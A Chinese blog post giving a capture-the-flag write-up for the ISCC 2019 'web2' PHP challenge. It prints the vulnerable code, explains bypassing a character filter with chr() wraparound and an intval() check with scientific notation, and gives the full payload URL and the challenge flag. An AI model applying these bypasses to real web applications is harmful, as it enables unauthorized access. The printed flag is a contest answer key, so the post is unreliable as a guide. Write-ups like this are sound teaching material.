ISCC之web2

Php代码审计

PHP代码

<?php

error_reporting(0);

require 'flag.php';

$value = $_GET['value'];

$password = $_GET['password'];

$username = '';

for ($i = 0; $i < count($value); ++$i) {

if ($value[$i] > 32 && $value[$i] < 127) unset($value);

else $username .= chr($value[$i]); #将value数组中的值转化为ASCll码

if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {

echo 'Hello '.$username.'!', '<br>', PHP_EOL;

echo $flag, '<hr>';

}

}

 

highlight_file(__FILE__);

 

审计发现可以构造数组,将w3lc0me_To_ISCC2019构造成一个数组,放到value里面,

ASCll共计128个,因此要绕过限制,对ascll码值加256,

对于后面的2333,我们可以这样绕过

利用科学记数法10e4是100000,但是这里的intval()函数取整,会忽略,计算成10

10e4+1会计算成100001

Payload如下

http://39.100.83.188:8001/?&password=10e4&value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313

结果

 

 

 

 

flag{8311873e241ccad54463eaa5d4efc1e9}

转载于:https://www.cnblogs.com/mke2fs/p/10803926.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值